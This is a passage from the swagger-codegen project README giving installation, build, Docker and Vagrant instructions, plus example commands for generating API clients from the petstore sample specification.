v2.0.17](https://github.com/swagger-api/swagger-codegen/tree/v2.0.17)\n1.0.4 | 2012-04-12 | 1.0, 1.1 | [tag v1.0.4](https://github.com/swagger-api/swagger-codegen/tree/swagger-codegen_2.9.1-1.1)\n\n\n### Prerequisites\nIf you're looking for the latest stable version, you can grab it directly from Maven.org (Java 7 runtime at a minimum):\n\n```\nwget http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.2/swagger-codegen-cli-2.2.2.jar -O swagger-codegen-cli.jar\n\njava -jar swagger-codegen-cli.jar help\n```\n\nOn a mac, it's even easier with `brew`:\n```\nbrew install swagger-codegen\n```\n\nTo build from source, you need the following installed and available in your $PATH:\n\n* [Java 7 or 8](http://java.oracle.com)\n\n* [Apache maven 3.3.3 or greater](http://maven.apache.org/)\n\n#### OS X Users\nDon't forget to install Java 7 or 8. You probably have 1.6.\n\nExport JAVA_HOME in order to use the supported Java version:\n```\nexport JAVA_HOME=`/usr/libexec/java_home -v 1.8`\nexport PATH=${JAVA_HOME}/bin:$PATH\n```\n\n### Building\n\nAfter cloning the project, you can build it from source with this command:\n```\nmvn clean package\n```\n\n### Homebrew\n\nTo install, run `brew install swagger-codegen`\n\nHere is an example usage:\n```\nswagger-codegen generate -i http://petstore.swagger.io/v2/swagger.json -l ruby -o /tmp/test/\n```\n\n### Docker\n\n#### Development in docker\n\nYou can use `run-in-docker.sh` to do all development. This script maps your local repository to `/gen`\nin the docker container. It also maps `~/.m2/repository` to the appropriate container location.\n\nTo execute `mvn package`:\n\n```\ngit clone https://github.com/swagger-api/swagger-codegen\ncd swagger-codegen\n./run-in-docker.sh mvn package\n```\n\nBuild artifacts are now accessible in your working directory.\n\nOnce built, `run-in-docker.sh` will act as an executable for swagger-codegen-cli. To generate code, you'll need to output to a directory under `/gen` (e.g. `/gen/out`). For example:\n\n```\n./run-in-docker.sh help # Executes 'help' command for swagger-codegen-cli\n./run-in-docker.sh langs # Executes 'langs' command for swagger-codegen-cli\n./run-in-docker.sh /gen/bin/go-petstore.sh # Builds the Go client\n./run-in-docker.sh generate -i modules/swagger-codegen/src/test/resources/2_0/petstore.yaml \\\n -l go -o /gen/out/go-petstore -DpackageName=petstore # generates go client, outputs locally to ./out/go-petstore\n```\n\n#### Run Docker in Vagrant\nPrerequisite: install [Vagrant](https://www.vagrantup.com/downloads.html) and [VirtualBox](https://www.virtualbox.org/wiki/Downloads).\n ```\ngit clone http://github.com/swagger-api/swagger-codegen.git\ncd swagger-codegen\nvagrant up\nvagrant ssh\ncd /vagrant\n./run-in-docker.sh mvn package\n ```\n\n#### Public Pre-built Docker images\n\n - https://hub.docker.com/r/swaggerapi/swagger-generator/ (official web service)\n - https://hub.docker.com/r/swaggerapi/swagger-codegen-cli/ (official CLI)\n\n\n##### Swagger Generator Docker Image\n\nThe Swagger Generator image can act as a self-hosted web application and API for generating code. This container can be incorporated into a CI pipeline, and requires at least two HTTP requests and some docker orchestration to access generated code.\n\nExample usage (note this assumes `jq` is installed for command line processing of JSON):\n\n```\n# Start container and save the container id\nCID=$(docker run -d swaggerapi/swagger-generator)\n# allow for startup\nsleep 5\n# Get the IP of the running container\nGEN_IP=$(docker inspect --format '{{.NetworkSettings.IPAddress}}' $CID)\n# Execute an HTTP request and store the download link\nRESULT=$(curl -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{\n \"swaggerUrl\": \"http://petstore.swagger.io/v2/swagger.json\"\n}' 'http://localhost:8188/api/gen/clients/javascript' | jq '.link' | tr -d '\"')\n# Download the generated zip and redirect to a file\ncurl $RESULT > result.zip\n# Shutdown the swagger generator image\ndocker stop $CID && docker rm $CID\n```\n\nIn the example above, `result.zip` will contain the generated client.\n\n##### Swagger Codegen CLI Docker Image\n\nThe Swagger Codegen image acts as a standalone executable. It can be used as an alternative to installing via homebrew, or for developers who are unable to install Java or upgrade the installed version.\n\nTo generate code with this image, you'll need to mount a local location as a volume.\n\nExample:\n\n```\ndocker run --rm -v ${PWD}:/local swaggerapi/swagger-codegen-cli generate \\\n -i http://petstore.swagger.io/v2/swagger.json \\\n -l go \\\n -o /local/out/go\n```\n\nThe generated code will be located under `./out/go` in the current directory.\n\n## Getting Started\n\nTo generate a PHP client for http://petstore.swagger.io/v2/swagger.json, please run the following\n```sh\ngit clone https://github.com/swagger-api/swagger-codegen\ncd swagger-codegen\nmvn clean package\njava -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \\\n -i http://petstore.swagger.io/v2/swagger.json \\\n -l php \\\n -o /var/tmp/php_api_client\n```\n(if you're on Windows, replace the last command with `java -jar modules\\swagger-codegen-cli\\target\\swagger-codegen-cli.jar generate -i http://petstore.swagger.io/v2/swagger.json -l php -o c:\\temp\\php_api_client`)\n\nYou can also download the JAR (latest release) directly from [maven.org](http://central.maven.org/maven2/io/swagger/swagger-codegen-cli/2.2.2/swagger-codegen-cli-2.2.2.jar)\n\nTo get a list of **general** options available, please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar help generate`\n\nTo get a list of PHP specified options (which can be passed to the generator with a config file via the `-c` option), please run `java -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar config-help -l php`\n\n## Generators\n\n### To generate a sample client library\nYou can build a client against the swagger sample [petstore](http://petstore.swagger.io) API as follows:\n\n```\n./bin/java-petstore.sh\n```\n\n(On Windows, run `.\\bin\\windows\\java-petstore.bat` instead)\n\nThis will run the generator with this command:\n\n```\njava -jar modules/swagger-codegen-cli/target/swagger-codegen-cli.jar generate \\\n -i http://petstore.swagger.io/v2/swagger.json \\\n -l java \\\n -o samples/client/petstore/java\n```\n\nwith a number of options. You can get the options with the `help generate` command:\n\n```\nNAME\n swagger-codegen-cli generate - Generate code with chosen lang\n\nSYNOPSIS\n swagger-codegen-cli generate\n [(-a | --auth )]\n [--additional-properties ]\n [--api-package ] [--artifact-id ]\n [--artifact-version ]\n [(-c | --config )]\n [-D ] [--group-id ]\n (-i | --input-spec )\n [--import-mappings ]\n [--instantiation-types ]\n [--invoker-package ]\n (-l | --lang )\n [--language-specific-primitives ]\n [--library ] [--model-package ]\n [(-o | --output )]\n [(-s | --skip-overwrite)]\n [(-t